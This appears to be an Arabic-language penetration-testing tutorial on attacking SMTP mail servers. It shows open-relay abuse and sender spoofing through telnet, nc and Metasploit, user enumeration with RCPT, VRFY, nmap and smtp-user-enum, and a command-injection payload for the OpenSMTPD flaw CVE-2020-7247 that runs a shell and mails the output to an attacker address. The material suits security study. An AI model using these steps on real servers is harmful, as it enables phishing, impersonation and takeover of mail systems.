# SMTP Protocol Hacking

### SMTP (Simple Mail Transfer Protocol)

## SMTP

---

- دا البروتوكول المتخصص في ارسال الايميلات بين اعضاء الشركه
- يعني لما الاقي smtp server ف شركه اعرف مثلا اني لما حد يعوز يبعت ميل لحد ف قسم تاني فالشركه هيروح الميل معدي علي الsmtp server وبعد كدا يبعتها للوجهه هو يعتبر وسيط بين الاتنين
- بيشتغل ف ال Application Layer ودي الطبقه السابعه ف ال OSI Model
- لازم تعرف اني في بروتوكولين اسمهم IMAP/POP3 بيخدمو علي ال SMTP
- بيشتغل علي بورت 25 لل Relaying وال Relaying يعني اعادة توجيه الايميلات
- بيشتغل علي بورت 465 لل Encrypted connections

## SMTP Operation

---

- اول حاجه اليوزر العادي بيبعت الميل للسيرفر
- يروح السيرفر مستلمها ويشوف هيا رايحه لمين ومستلمها من مين ويروح باعتها للشخص اللي رايحله الميل

تعالي اقولك شوية اوامر ممكن تعملها فال SMTP Server

- `HELO/EHLO` => الامر دا بتختبر بيه السيرفر اكنك بتسلم عليه ولو رد عليك اعرف انك مكونكت عليه والدنيا تمام
- `MAIL FROM` => الامر دا بتكتبو لما بتحدد من اللي بيبعت الميل
- حد هيقولي انت عبيط ياعم ماهو طبيعي انا اللي هبعت!.....هقولك لأ انت ممكن تspoof شخصية حد تاني اصلا وتخلي ال sender قسم الhr مثلا ويخليه يبعت مثلا لموظف معين
- `RCPT TO` => الامر دا عشان تحدد من اللي هتبعتلو الميل / ممكن برضو تستخدمو عشان تشيك علي ايميل معين تشوفه موجوده ولا لأ
- `VRFY` => عشان تتأكد اذا كان الايميل دا موجود ولا لأ
- `DATA` => الامر دا بتكتبو لما تيجي تحدد المحتوي بتاع الميل بقي
- `QUIT` => دا الامر اللي بيخرجك من السيرفر

## SMTP Exploitation Scenarios

- **Open Relays**
  -هنا انا ببعت ميل من عندي لل victim او من اي قسم فالشركه لأي حد حرفيا بطريقه Unauthrozied
- **Lack of Encryption**
  -تشفير ضعيف ممكن يؤدي اني حد يتصنت علي الtraffic
- **User Enumeration**
  -ببدأ هنا اشوف مين اليوزرات اللي موجوده عالسيرفر
  -معني كدا اني في ميل فالشركه باسم hr لقيت في يوزر اسمه user enum يعني مثلا انا بعد ماعملت `hr@company-name`
- **Spoofing**
  -هنا انا بنتحل شخصية اي قسم فالشركه واقدر اي ابعت ايميل باسمه لأي حد فالشركه
- **RCE via OPENSMTPD CVE-2020-7247**
  -دي ثغره تم اكتشافها سنة 2020 ودي بتمكن الهاكر اني يحصل علي تحكم كامل فالسيرفر

## Open Relay Attack

- الSMTP Servers لما بتكون Open Relays بتسمح لأي شخص متصل بالسيرفر او علي نفس الشبكه يعني انه يبعت ايميل لأي حد عن طريق السيرفر من غير authentication

### الطريقه

- اول حاجه هتعمل Nmap Scan زي ما اتعودنا ونشوف هل البورت 25 مفتوح ولا لأ خلي بالك لازم ال 25 مش 465 عشان ال 25 دا وضع ال Open Relays
- المهم لو لقيناه مفتوح هتروح مستخدم تول telnet او nc ويفضل nc

```
telnet <ip> 25
```

```
nc -n <ip> 25
```

التول هتخليك تتصل بالسيرفر وتبعت ميل لأي حد فالشركه

- هنا احنا كا attackers بنبدأ نشوف بقي الusers الموجوده وتبعت phishing emails وغيره

```
telnet 10.10.10.1 25
```

```
Trying 10.10.10.1...
Connected to 10.10.10.1.
Escape character is '^]'.
220 mail.example.com ESMTP Postfix
```

هنا انا خلاص عملت كونكت بالسيرفر

- بس عاوزين نشوف السيرفر شغال ولا لأ هنروح عاملين EHLO او HELO ولو رد علينا يبقي شغال تمام

```
EHLO attacker.com
```

```
250-mail.example.com Hello attacker.com
250-SIZE 35882577
250-PIPELINING
250-AUTH PLAIN LOGIN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
```

اوباااا دا رد عليا معني كدا انو شغال

- يلا بقي يا باشا ابعت ميلات بقي لأي حد فالشركه

```
MAIL FROM:<spoofed@victim.com>
250 OK

RCPT TO:<target@company.com>
250 OK

DATA
354 End data with <CR><LF>.<CR><LF>
From: spoofed@victim.com
To: target@company.com
Subject: Fake Email

This is a test email to show how open relay can be abused.
.
250 OK: queued as 12345
```

```
QUIT
221 Bye
Connection closed by foreign host.
```

- الطريقه دي كانت ب telnet او nc طب ماتيجي نشوف ال metasploit

الطريقه باستخدام ال Metasploit

```
msfconsole
```

```
use auxiliary/scanner/smtp/smtp_relay
```

```
set RHOSTS 10.10.10.1
set MAILFROM attacker@evil.com
set MAILTO victim@test.com
set THREADS 5
```

```
run
```

```
[*] 10.10.10.1:25 - Attempting to relay through 10.10.10.1
[*] 10.10.10.1:25 - Mail relayed successfully: attacker@evil.com -> victim@test.com
[*] 10.10.10.1:25 - Open relay detected on 10.10.10.1!
```

If the SMTP server is **not an open relay**, you will see an error or rejection message, such as:

```
[*] 10.10.10.1:25 - Relaying denied: 550 5.7.1 Unable to relay
[*] 10.10.10.1:25 - Server does not allow relaying.
```

## SMTP User Enumeration

- هنا انا بعمل Enumeration عشان اشوف مين اليوزرز اللي عالسيرفر
- بعد ما ادخل عالسيرفر زي ما اتعملنا فوق هنبدأ نعمل كوماند ال RCPT TO وتجرب اي يوزر سواء admin , hr , sales , operation
- اول لما تكتب الكوماند ده السيرفر هيرد عليك ويقولك دا موجود ولا لأ
- يعني لو قالك "No such user 550" معني كدا اني مفيش اليوزر اللي انت كتبتو ده ولو قالك "OK 250" يعني اه فعلا اليوزر دا موجود

```
telnet 10.10.10.1 25
```

```
EHLO attacker.com
```

```
250-mail.example.com Hello attacker.com
250-AUTH LOGIN PLAIN
250 DSN
```

```
MAIL FROM:<attacker@attacker.com>
250 OK

RCPT TO:<admin@company.com>
250 OK

RCPT TO:<nonexistent@company.com>
550 5.1.1 User unknown
```

```
RCPT TO:<admin@company.com>
250 2.1.5 Ok
RCPT TO:<invalid@company.com>
550 5.1.1 User unknown
```

### الطريقه باستخدام ال nmap scripts

- انت ممكن تعمل كدا بس باستخدام ال Nmap تعالي اقولك ازاي

```
nmap -p 25 --script smtp-enum-users --script-args smtp-users-enum.methods=
```

`{VRFY,RCPT} 10.10.10.1`

```
PORT   STATE SERVICE
25/tcp open  smtp

| smtp-enum-users:
|   Valid user: admin@company.com
|   Valid user: support@company.com
|   Valid user: info@company.com
```

- ممكن تستعمل كوماند `smtp-enum-users` لوحده

```
smtp-user-enum -M VRFY -D example.com -U users.txt -t 10.0.0.1
```

- بس خلي بالك لازم تنزل user wordlist عشان يتشيك منها

---

## Exploit OpenSMTPD RCE

- عاوزك بقي تسرش وتعرف الثغره دي كانت عباره عن ايه وايه استغلالها

```
HELO example.com
250 example.com Hello
MAIL FROM:<;exec /bin/sh -c 'echo Vulnerable | mail attacker@example.com';>
250 2.1.0 Ok
RCPT TO:<victim@example.com>
250 2.1.5 Ok
DATA
354 Enter mail, end with "." on a line by itself
.
250 2.0.0 Ok: queued
QUIT
```